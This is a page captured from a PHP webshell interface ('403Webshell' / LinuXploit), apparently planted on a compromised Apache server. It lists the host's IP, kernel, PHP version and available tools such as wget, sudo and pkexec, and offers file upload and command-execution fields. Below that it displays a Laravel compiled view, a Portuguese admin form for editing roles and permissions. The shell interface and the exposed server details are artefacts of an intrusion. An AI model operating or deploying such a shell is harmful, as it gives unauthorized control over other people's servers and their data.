403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/storage/framework/views/fe10ad6baac23605d838edd02b268a369f6a6f27.php
<?php $__env->startSection('content'); ?>
<div class="content-wrapper">
	<!-- Content Header (Page header) -->
	<section class="content-header">
		<h1>
			<?php echo (isset($role)) ? 'Editar' : 'Criar'; ?>
			<small>Informações Role</small>
		</h1>
		<ol class="breadcrumb">
			<li><a href="<?php echo e(url('/admin')); ?>"><i class="fa fa-dashboard"></i> Dashboard</a></li>
			<li><a href="<?php echo e(url('/admin/roles-colab')); ?>">Roles</a></li>
			<li class="active"><?php echo (isset($role)) ? 'Editar' : 'Criar'; ?></li>
		</ol>
	</section>
	<section class="content">
		<div class="row">
			<div class="col-lg-12">
				<div class="box">
					<div class="box-header">

					</div>
					<!-- /.box-header -->
					<div class="box-body">
						<ul class="nav nav-pills nav-justified">
							<li class="active"><a data-toggle="pill" href="#info-tab">Informações</a></li>
							<li class=""><a data-toggle="pill" href="#permissions-tab">Permissões</a></li>
						</ul>
						<div class="spacer"></div>
						<form id="mainForm" class="form-horizontal" role="form" method="POST" action="<?php echo e(url('/admin/roles/save-colab')); ?>">
						<div class="tab-content">

								<div id="info-tab" class="tab-pane fade in active">
									<?php echo e(csrf_field()); ?>

									<?php if(isset($role)){ ?>
										<input type="hidden" name="id" value="<?php echo $role->id; ?>"/>
									<?php } ?>

									<div class="form-group">
										<label for="name" class="col-md-3 control-label">Nome</label>

										<div class="col-md-7">
											<input id="name" type="text" class="form-control" value="<?php echo (isset($role)) ? $role->name : ''; ?>" name="name" />
										</div>
									</div>

									<div class="form-group">
										<label for="slug" class="col-md-3 control-label">Slug</label>

										<div class="col-md-7">
											<input id="slug" type="text" class="form-control" value="<?php echo (isset($role)) ? $role->slug : ''; ?>" name="slug" />
										</div>
									</div>

									<div class="form-group">
										<label for="tipo" class="col-md-3 control-label">Tipo</label>
										<div class="col-md-7">
											<select id="tipo" class="form-control" name="tipo">
												<?php foreach ($tipos as $item): ?>
													<option value="<?php echo e($item); ?>" <?php echo (isset($role) && $role->tipo == $item ? 'selected' : '')?>><?php echo e($item); ?></option>
												<?php endforeach ?>
											</select>
										</div>
									</div>

								</div>
								<div id="permissions-tab" class="tab-pane fade">
									<?php foreach ($modulos as $modulo): ?>
										<div class="col-md-4">
											<div class="box box-primary">
								            <div class="box-header with-border">
								              <h3 class="box-title"><?php echo $modulo->label; ?></h3>

								              <div class="box-tools pull-right">
								                <button type="button" class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i>
								                </button>
								                <input type="checkbox" name="all_permissions">
								              </div>
								            </div>
								            <!-- /.box-header -->
								            <div class="box-body" style="display: block;">
								              <div class="table-responsive">
								                <table class="table no-margin">
								                  <thead>
								                  <tr>
								                    <th class="text-center"><label for="<?php echo $modulo->nome_tabela.'-view'; ?>">Ver</label></th>
								                    <th class="text-center"><label for="<?php echo $modulo->nome_tabela.'-create'; ?>">Criar</label></th>
								                    <th class="text-center"><label for="<?php echo $modulo->nome_tabela.'-update'; ?>">Atualizar</label></th>
								                    <th class="text-center"><label for="<?php echo $modulo->nome_tabela.'-delete'; ?>">Deletar</label></th>
								                  </tr>
								                  </thead>
								                  <tbody>
								                  <tr>
								                    <td class="text-center"><input id="<?php echo $modulo->nome_tabela.'-view'; ?>" <?php echo (isset($roleSentinel) && $roleSentinel->hasAccess($modulo->nome_tabela.'.view')) ? 'checked' : ''; ?> type="checkbox" name="permission[]" value="<?php echo $modulo->nome_tabela; ?>.view"/></td>
								                    <td class="text-center"><input id="<?php echo $modulo->nome_tabela.'-create'; ?>" <?php echo (isset($roleSentinel) && $roleSentinel->hasAccess($modulo->nome_tabela.'.create')) ? 'checked' : ''; ?> type="checkbox" name="permission[]" value="<?php echo $modulo->nome_tabela; ?>.create"/></td>
								                    <td class="text-center"><input id="<?php echo $modulo->nome_tabela.'-update'; ?>" <?php echo (isset($roleSentinel) && $roleSentinel->hasAccess($modulo->nome_tabela.'.update')) ? 'checked' : ''; ?> type="checkbox" name="permission[]" value="<?php echo $modulo->nome_tabela; ?>.update"/></td>
								                    <td class="text-center"><input id="<?php echo $modulo->nome_tabela.'-delete'; ?>" <?php echo (isset($roleSentinel) && $roleSentinel->hasAccess($modulo->nome_tabela.'.delete')) ? 'checked' : ''; ?> type="checkbox" name="permission[]" value="<?php echo $modulo->nome_tabela; ?>.delete"/></td>
								                  </tr>
								                  </tbody>
								                </table>
								              </div>
								              <!-- /.table-responsive -->
								            </div>
								            <!-- /.box-body -->
								          </div>
										</div>
									<?php endforeach; ?>
								</div>
							</form>
						</div>
					</div>
					<!-- /.box-body -->
					<div class="box-footer">
						<div class="text-center">
							<button type="submit" class="btn btn-primary">
								<i class="fa fa-btn fa-pencil-alt"></i> Salvar
							</button>
						</div>
					</div>
				</div>
					<!-- /.box -->
			</div>
		</div>
	</section>
</div>
<script type="text/javascript">
	$('[name="all_permissions"]').click(function(){
		if($(this).is(':checked')){
			var aux = true;
		}else{
			var aux = false;
		}
		$(this).closest('.box').find('[name="permission[]"]').prop('checked', aux);
	});

	$('[name="permission[]"]').change(function(){
		var $box = $(this).closest('.box');
		var flag = true;
		$box.find('[name="permission[]"]').each(function(){
			flag = flag && $(this).is(':checked');
		});
		$box.find('[name="all_permissions"]').prop('checked', flag);
	});
	$('[name="permission[]"]').trigger('change');
</script>
<?php $__env->stopSection(); ?>

<?php echo $__env->make($current_template, array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit